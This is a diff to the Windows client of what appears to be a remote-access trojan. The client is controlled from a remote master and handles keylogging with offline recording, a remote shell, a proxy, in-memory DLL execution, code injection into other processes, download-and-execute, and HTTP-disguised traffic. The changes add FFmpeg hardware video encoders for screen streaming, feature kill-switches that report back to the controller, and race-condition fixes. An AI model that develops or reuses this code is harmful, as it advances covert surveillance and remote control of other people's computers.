@@ -124,7 +124,7 @@
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
@@ -167,7 +167,7 @@
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
@@ -205,6 +205,9 @@
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
|
||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||
<ClCompile Include="EncoderFactory.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
@@ -228,6 +231,10 @@
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||
<ClInclude Include="EncoderFactory.h" />
|
||||
<ClInclude Include="VideoEncoderBase.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
<ClInclude Include="keylogger.h" />
|
||||
|
||||
@@ -36,6 +36,9 @@
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
|
||||
<ClCompile Include="EncoderFactory.cpp" />
|
||||
<ClCompile Include="..\common\file_upload.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
</ItemGroup>
|
||||
@@ -81,6 +84,10 @@
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
<ClInclude Include="VideoEncoderBase.h" />
|
||||
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||
<ClInclude Include="EncoderFactory.h" />
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
#include "StdAfx.h"
|
||||
#include "Common.h"
|
||||
|
||||
#include "Manager.h"
|
||||
#include "ScreenManager.h"
|
||||
#include "FileManager.h"
|
||||
#include "TalkManager.h"
|
||||
|
||||
@@ -6,6 +6,8 @@
|
||||
#include "Common.h"
|
||||
#include "../common/commands.h"
|
||||
|
||||
#if ENABLE_SHELL
|
||||
|
||||
// Define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE if not available (older SDK)
|
||||
#ifndef PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE
|
||||
#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE \
|
||||
@@ -341,3 +343,4 @@ DWORD WINAPI CConPTYManager::ReadThread(LPVOID lParam)
|
||||
Mprintf("[ConPTY] Read thread exited\n");
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -7,6 +7,11 @@
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
#if ENABLE_SHELL==0
|
||||
#define CConPTYManager CManager
|
||||
|
||||
#else
|
||||
|
||||
// ConPTY API types (dynamically loaded)
|
||||
typedef VOID* HPCON;
|
||||
typedef HRESULT (WINAPI *PFN_CreatePseudoConsole)(COORD size, HANDLE hInput, HANDLE hOutput, DWORD dwFlags, HPCON* phPC);
|
||||
@@ -56,5 +61,6 @@ private:
|
||||
// Thread to read from PTY
|
||||
static DWORD WINAPI ReadThread(LPVOID lParam);
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // CONPTYMANAGER_H
|
||||
|
||||
71
client/EncoderFactory.cpp
Normal file
@@ -0,0 +1,71 @@
|
||||
#include "EncoderFactory.h"
|
||||
#include "common/config.h"
|
||||
#include "common/logger.h"
|
||||
#include "X264Encoder.h"
|
||||
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时硬编实现整体移出工程,仅保留 x264 软编路径
|
||||
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||
#include "CFFmpegH264Encoder.h"
|
||||
#include "CFFmpegAV1Encoder.h"
|
||||
#endif
|
||||
|
||||
namespace {
|
||||
// 与 ScreenCapture::BitRateToCRF 同步:码率越高 CRF 越低(质量更好)。
|
||||
// 仅 x264 软编路径用,硬编路径直接用 bitrate_kbps 走 CBR。
|
||||
int BitRateToCRF(int bitRate) {
|
||||
if (bitRate <= 0) return 23;
|
||||
if (bitRate >= 3000) return 20;
|
||||
if (bitRate >= 2000) return 20 + (3000 - bitRate) * 3 / 1000;
|
||||
if (bitRate >= 800) return 23 + (2000 - bitRate) * 7 / 1200;
|
||||
return 32;
|
||||
}
|
||||
}
|
||||
|
||||
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req) {
|
||||
EncoderParams p;
|
||||
p.width = req.width;
|
||||
p.height = req.height;
|
||||
p.fps = req.fps;
|
||||
|
||||
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||
// AV1 硬编路径(仅当客户端声明支持 AV1 解码)
|
||||
// 硬件门槛高:仅 RTX 40+ / RX 7000+ / Intel Arc 才有 av1 encoder ASIC;
|
||||
// 没合适硬件时 open() 全部失败,自然 fall through 到下面 H.264 路径。
|
||||
if (req.encodeLevel >= LEVEL_AV1_HARD) {
|
||||
auto enc = std::make_unique<CFFmpegAV1Encoder>();
|
||||
p.rc = RateControl::BITRATE;
|
||||
p.bitrate_kbps = req.bitrate_kbps;
|
||||
if (enc->open(p)) {
|
||||
Mprintf("=> encoder: %s (HW AV1, bitrate=%dk)\n", enc->backendName(), req.bitrate_kbps);
|
||||
return enc;
|
||||
}
|
||||
Mprintf("=> all AV1 HW backends failed, falling back to H.264\n");
|
||||
}
|
||||
|
||||
|
||||
// H.264 硬编:CFFmpegH264Encoder 内部按 nvenc/qsv/amf/mf 顺序探
|
||||
if (req.encodeLevel >= LEVEL_H264_HARD) {
|
||||
auto enc = std::make_unique<CFFmpegH264Encoder>();
|
||||
p.rc = RateControl::BITRATE;
|
||||
p.bitrate_kbps = req.bitrate_kbps;
|
||||
if (enc->open(p)) {
|
||||
Mprintf("=> encoder: %s (HW, bitrate=%dk)\n", enc->backendName(), req.bitrate_kbps);
|
||||
return enc;
|
||||
}
|
||||
Mprintf("=> all H.264 HW backends failed, falling back to x264\n");
|
||||
}
|
||||
#endif
|
||||
|
||||
// x264 软编兜底(无硬件 / 全失败 / 虚拟机 / 远程桌面会话场景)
|
||||
if (req.encodeLevel >= LEVEL_H264_SOFT) {
|
||||
auto enc = std::make_unique<CX264Encoder>();
|
||||
p.rc = RateControl::CRF;
|
||||
p.crf = BitRateToCRF(req.bitrate_kbps);
|
||||
if (enc->open(p)) {
|
||||
Mprintf("=> encoder: %s (SW, crf=%d)\n", enc->backendName(), p.crf);
|
||||
return enc;
|
||||
}
|
||||
}
|
||||
|
||||
Mprintf("=> ERROR: no encoder could be opened\n");
|
||||
return nullptr;
|
||||
}
|
||||
25
client/EncoderFactory.h
Normal file
@@ -0,0 +1,25 @@
|
||||
#pragma once
|
||||
|
||||
#include "VideoEncoderBase.h"
|
||||
#include "common/commands.h"
|
||||
#include <memory>
|
||||
|
||||
|
||||
// 创建编码器的请求参数。
|
||||
struct EncoderRequest {
|
||||
int width = 0;
|
||||
int height = 0;
|
||||
int fps = 30;
|
||||
int bitrate_kbps = 4000;
|
||||
int encodeLevel = LEVEL_H264_SOFT;
|
||||
};
|
||||
|
||||
// 按客户端能力 + 本机硬件能力创建一个 VideoEncoderBase。
|
||||
//
|
||||
// 探测顺序(第一个 open 成功的就用):
|
||||
// AV1 硬编路径
|
||||
// H.264 硬编(CFFmpegH264Encoder 内部按 nvenc/qsv/amf/mf 探)
|
||||
// x264 软编(CX264Encoder,CPU 兜底)
|
||||
//
|
||||
// 失败路径在日志中可见(Mprintf)。返回 nullptr 仅在 x264 也开不起来时(极少见)。
|
||||
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req);
|
||||
@@ -10,6 +10,8 @@
|
||||
#include "IOCPClient.h"
|
||||
#include "KernelManager.h"
|
||||
|
||||
#if ENABLE_FILE_MNG
|
||||
|
||||
typedef struct {
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
@@ -33,7 +35,9 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
|
||||
|
||||
// 初始化V2文件传输模块
|
||||
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
||||
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
|
||||
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
|
||||
if (!m_Signature.empty())
|
||||
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
|
||||
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf);
|
||||
|
||||
// 发送驱动器列表, 开始进行文件管理,建立新线程
|
||||
@@ -48,7 +52,8 @@ CFileManager::~CFileManager()
|
||||
SAFE_CLOSE_HANDLE(m_hSearchThread);
|
||||
}
|
||||
m_UploadList.clear();
|
||||
UninitFileUpload();
|
||||
if (!m_Signature.empty())
|
||||
UninitFileUpload();
|
||||
}
|
||||
|
||||
|
||||
@@ -1183,3 +1188,4 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
|
||||
Mprintf("[V2] 连接服务器失败\n");
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -1,10 +1,16 @@
|
||||
// FileManager.h: interface for the CFileManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
#include "common.h"
|
||||
typedef IOCPClient CClientSocket;
|
||||
|
||||
#if ENABLE_FILE_MNG==0
|
||||
#define CFileManager CManager
|
||||
|
||||
#else
|
||||
|
||||
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
|
||||
#include <winsock2.h>
|
||||
@@ -35,6 +41,7 @@ private:
|
||||
UINT m_nTransferMode;
|
||||
char m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
|
||||
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
|
||||
std::string m_Signature;
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
bool UploadToRemote(LPBYTE lpBuffer);
|
||||
void UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize);
|
||||
@@ -61,5 +68,6 @@ private:
|
||||
HANDLE m_hSearchThread;
|
||||
volatile bool m_bSearching;
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||
|
||||
@@ -30,10 +30,12 @@ inline int WSAGetLastError()
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#else
|
||||
#include "common/zstd_wrapper.h"
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib, "zstd/zstd_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib, "zstd/zstd.lib")
|
||||
#ifdef _WIN32
|
||||
# ifdef _WIN64
|
||||
# pragma comment(lib, "zstd/zstd_x64.lib")
|
||||
# else
|
||||
# pragma comment(lib, "zstd/zstd.lib")
|
||||
# endif
|
||||
#endif
|
||||
#define Z_FAILED(p) ZSTD_isError(p)
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
@@ -86,6 +88,27 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
|
||||
}
|
||||
#endif
|
||||
|
||||
// TCP_USER_TIMEOUT (RFC 5482): 未被对端 ACK 的已发数据超过此时间,内核直接把
|
||||
// socket 标记为 ETIMEDOUT,下一次 send/recv 立即报错。
|
||||
//
|
||||
// 为什么 SO_KEEPALIVE 不够:keep-alive 只在连接完全 idle 时才探测,应用层每
|
||||
// 30s 一次心跳让 TCP 永远进不了 idle 态。VM 挂起恢复 / 笔记本合盖唤醒 / NAT
|
||||
// 表项老化等场景下,对端早已关闭连接但本端 send() 仍把字节塞进 SNDBUF 立即
|
||||
// 返回成功——出现 ESTABLISHED + Send-Q 堆积的"半死连接",应用层完全无感,
|
||||
// 默认要等 tcp_retries2 跑完(~15分钟)才报错。
|
||||
//
|
||||
// 选 30s:>= 默认心跳间隔(5-30s),< 服务端 CheckHeartbeat 超时(>=60s)。
|
||||
// Linux 2.6.37+ 支持;macOS / 老内核 无此宏,自动跳过——那条路径上靠应用层
|
||||
// ACK 看门狗(linux/main.cpp 心跳循环)兜底。
|
||||
#ifdef TCP_USER_TIMEOUT
|
||||
unsigned int userTimeoutMs = 30000;
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_USER_TIMEOUT,
|
||||
&userTimeoutMs, sizeof(userTimeoutMs)) < 0) {
|
||||
Mprintf("Failed to set TCP_USER_TIMEOUT\n");
|
||||
// 非致命:keep-alive 已设上,应用层还有 ACK 看门狗兜底,继续即可
|
||||
}
|
||||
#endif
|
||||
|
||||
Mprintf("TCP keep-alive settings applied successfully\n");
|
||||
return TRUE;
|
||||
}
|
||||
@@ -197,6 +220,13 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
m_ServerAddr = {};
|
||||
m_nHostPort = 0;
|
||||
m_Manager = NULL;
|
||||
// 防御性初始化:避免 Debug build 里 0xcdcdcdcd 堆 fill 让 Receive 线程
|
||||
// 在调用方 setManagerCallBack() 之前就读到野指针。子连接(屏幕/键盘等)
|
||||
// 走 LoopManager 模式时,new IOCPClient → ConnectServer 启动 Receive
|
||||
// worker 与 Manager 构造(内含 setManagerCallBack)之间有 race window;
|
||||
// 这里清零让 Receive 路径有机会 NULL-check 而不是炸在野指针上。
|
||||
m_DataProcess = NULL;
|
||||
m_ReconnectFunc = NULL;
|
||||
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
|
||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
||||
m_EncoderType = encoder;
|
||||
@@ -591,12 +621,12 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
||||
FlagType flagType = CheckHead(szPacketFlag, encType);
|
||||
if (flagType == FLAG_UNKNOWN) {
|
||||
// 打印诊断信息
|
||||
std::string buf;
|
||||
ULONG bufLen = m_CompressedBuffer->GetBufferLength();
|
||||
Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: ", bufLen);
|
||||
for (int i = 0; i < 16 && i < (int)bufLen; ++i) {
|
||||
Mprintf("%02X ", (unsigned char)src[i]);
|
||||
char tmp[12]; sprintf(tmp, "%02X ", (unsigned char)src[i]); buf += tmp;
|
||||
}
|
||||
Mprintf("\n");
|
||||
Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: %s\n", bufLen, buf.c_str());
|
||||
m_CompressedBuffer->ClearBuffer();
|
||||
break;
|
||||
}
|
||||
@@ -649,9 +679,17 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
||||
if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
|
||||
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
|
||||
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
|
||||
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
||||
if (ret) {
|
||||
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
||||
// 防御 race window:子连接 ConnectServer 触发 Receive 后,
|
||||
// 调用方 setManagerCallBack() 可能还没执行;丢弃这种早期包
|
||||
// 比让函数指针炸进 0xcdcdcd 强(pre-existing race,详见
|
||||
// 构造函数注释,长期需要在 ConnectServer 前 set callback)
|
||||
if (m_DataProcess == NULL) {
|
||||
Mprintf("[WARN] dropping early packet: setManagerCallBack not yet called\n");
|
||||
} else {
|
||||
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
||||
if (ret) {
|
||||
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
|
||||
@@ -342,6 +342,7 @@ protected:
|
||||
|
||||
void *m_main = NULL;
|
||||
public:
|
||||
BOOL m_isAuth = FALSE;
|
||||
std::string m_LoginMsg; // 登录消息摘要
|
||||
std::string m_LoginSignature; // 登录消息签名
|
||||
};
|
||||
|
||||
@@ -50,11 +50,12 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string&
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP)
|
||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP, BOOL isAuth)
|
||||
{
|
||||
ThreadInfo *tKeyboard = new ThreadInfo();
|
||||
tKeyboard->run = FOREVER_RUN;
|
||||
auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
|
||||
sub->m_isAuth = isAuth;
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
tKeyboard->p = sub;
|
||||
tKeyboard->conn = conn;
|
||||
@@ -80,11 +81,6 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
|
||||
m_hKeyboard = kb;
|
||||
// C2C 初始化
|
||||
if (conn) m_MyClientID = conn->clientID;
|
||||
// 恢复并启动 SCH_MODE_STARTUP 模式的 DLL
|
||||
static int n = RestoreMemDLL();
|
||||
if (n) {
|
||||
Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL IsThreadsRunning(ThreadInfo* threads, int count)
|
||||
@@ -280,10 +276,10 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
&CKernelManager::g_IsAppExit);
|
||||
}
|
||||
else {
|
||||
else if (This){
|
||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||
}
|
||||
if (r || (time(0)-start < 15)) {
|
||||
if (This && (r || (time(0)-start < 15))) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
Mprintf("%s\n", buf);
|
||||
@@ -304,10 +300,10 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
&CKernelManager::g_IsAppExit);
|
||||
}
|
||||
else {
|
||||
else if (This){
|
||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||
}
|
||||
if (r || (time(0)-start < 15)) {
|
||||
if (This && (r || (time(0)-start < 15))) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
Mprintf("%s\n", buf);
|
||||
@@ -331,7 +327,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
sprintf_s(buf, "Inject %s to process [%d] %s", info.Name, info.Pid ? info.Pid : ret, ret ? "succeed" : "failed");
|
||||
Mprintf("%s\n", buf);
|
||||
ClientMsg msg("代码注入", buf);
|
||||
This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||
if (This)This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||
}
|
||||
SAFE_DELETE(dll);
|
||||
SAFE_DELETE(runner);
|
||||
@@ -617,14 +613,18 @@ void DownExecute(const std::string &strUrl, CManager *This)
|
||||
}
|
||||
|
||||
#include "common/location.h"
|
||||
std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& masterHash)
|
||||
std::string getHardwareIDByCfg(std::string& pwdHash, const std::string& masterHash)
|
||||
{
|
||||
iniFile reg;
|
||||
pwdHash = reg.GetStr("settings", "UpperHash", masterHash);
|
||||
|
||||
config* m_iniFile = nullptr;
|
||||
#ifdef _DEBUG
|
||||
m_iniFile = pwdHash == masterHash ? new config : new iniFile;
|
||||
#else
|
||||
m_iniFile = new iniFile;
|
||||
#endif
|
||||
pwdHash = m_iniFile->GetStr("settings", "UpperHash", masterHash);
|
||||
int bindType = m_iniFile->GetInt("settings", "BindType", 0);
|
||||
int hwVersion = m_iniFile->GetInt("settings", "HWIDVersion", 0);
|
||||
std::string master = m_iniFile->GetStr("settings", "master");
|
||||
@@ -644,8 +644,9 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
|
||||
return "";
|
||||
}
|
||||
|
||||
int CKernelManager::RestoreMemDLL() {
|
||||
std::map<std::string, std::vector<BYTE>> RestoreMemDLL(iniFile *m_cfg, CONNECT_ADDRESS* m_conn, State& g_bExit, CKernelManager* This) {
|
||||
binFile bin(CLIENT_PATH);
|
||||
std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||||
|
||||
// 枚举所有以 .md5 结尾的值名称
|
||||
auto md5Keys = m_cfg->EnumValues("settings", ".md5");
|
||||
@@ -703,7 +704,7 @@ int CKernelManager::RestoreMemDLL() {
|
||||
if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400);
|
||||
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf);
|
||||
BYTE* data = m_MemDLL[md5].data();
|
||||
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, this), 0, NULL));
|
||||
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, This), 0, NULL));
|
||||
|
||||
// 更新注册表中的运行时状态
|
||||
// 如果有时间间隔限制,更新 LastRunTime
|
||||
@@ -723,7 +724,7 @@ int CKernelManager::RestoreMemDLL() {
|
||||
}
|
||||
}
|
||||
|
||||
return count;
|
||||
return m_MemDLL;
|
||||
}
|
||||
|
||||
template<typename T = DllExecuteInfo>
|
||||
@@ -782,6 +783,18 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
|
||||
return data != NULL;
|
||||
}
|
||||
|
||||
// 给主控回复功能禁用消息
|
||||
// TODO: 主控收到此消息后,可以选择以插件形式执行该禁用的功能
|
||||
void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size) {
|
||||
char buf[512];
|
||||
sprintf_s(buf, "%s disabled[IP: %s][ID: %s]", type, client->GetPublicIP().c_str(), client->GetClientID().c_str());
|
||||
Mprintf("%s\n", buf);
|
||||
int n = strlen(buf);
|
||||
memcpy(buf + n + 1, data, min(size, 500-n));
|
||||
ClientMsg msg(DISABLED_FEATURE, buf, sizeof(buf));
|
||||
client->Send2Server((char*)&msg, sizeof(msg));
|
||||
}
|
||||
|
||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||
@@ -882,18 +895,17 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
// 扩大到 400 字节以容纳 V2 签名(约 92 字节)和 Authorization(约 150 字节)
|
||||
char buf[400] = {}, *passCode = buf + 5;
|
||||
memcpy(buf, szBuffer, min(sizeof(buf), ulLength));
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
|
||||
if (passCode[0] == 0) {
|
||||
std::string pwdHash, masterHash(skCrypt(MASTER_HASH));
|
||||
static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash);
|
||||
static std::string hashedID = hashSHA256(hardwareId);
|
||||
static std::string devId = getFixedLengthID(hashedID);
|
||||
memcpy(buf + 24, buf + 12, 8); // 消息签名
|
||||
memcpy(buf + 96, buf + 8, 4); // 时间戳
|
||||
memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节
|
||||
memcpy(buf + 32, pwdHash, 64); // 64字节
|
||||
memcpy(buf + 32, pwdHash.c_str(), 64); // 64字节
|
||||
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||
Mprintf("Request for authorization update.\n");
|
||||
Mprintf("Request for authorization update. SN: %s, PwdHash: %s\n", devId.c_str(), pwdHash.c_str());
|
||||
} else {
|
||||
unsigned short* days = (unsigned short*)(buf + 1);
|
||||
unsigned short* num = (unsigned short*)(buf + 3);
|
||||
@@ -937,6 +949,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case TOKEN_PRIVATESCREEN: {
|
||||
if (!ENABLE_SCREEN) {
|
||||
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
char h[100] = {};
|
||||
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
|
||||
std::string hash = std::string(h, h + 64);
|
||||
@@ -959,6 +974,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_PROXY: {
|
||||
if (!ENABLE_PROXY) {
|
||||
return ResponseDisable(m_ClientObject, "PROXY", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
@@ -1049,7 +1067,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
if (m_settings.EnableKBLogger && m_hKeyboard) {
|
||||
CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
|
||||
mgr->m_bIsOfflineRecord = TRUE;
|
||||
mgr->EnableOfflineRecord(TRUE);
|
||||
}
|
||||
Logger::getInstance().usingLog(m_settings.EnableLog);
|
||||
}
|
||||
@@ -1064,6 +1082,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
break;
|
||||
case COMMAND_KEYBOARD: { //键盘记录
|
||||
if (!ENABLE_KEYBOARD) {
|
||||
return ResponseDisable(m_ClientObject, "KEYBOARD", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
if (m_hKeyboard) {
|
||||
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||||
} else {
|
||||
@@ -1076,6 +1097,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_TALK: {
|
||||
if (!ENABLE_MESSAGE) {
|
||||
return ResponseDisable(m_ClientObject, "MESSAGE", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
@@ -1087,6 +1111,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_SHELL: {
|
||||
if (!ENABLE_SHELL) {
|
||||
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
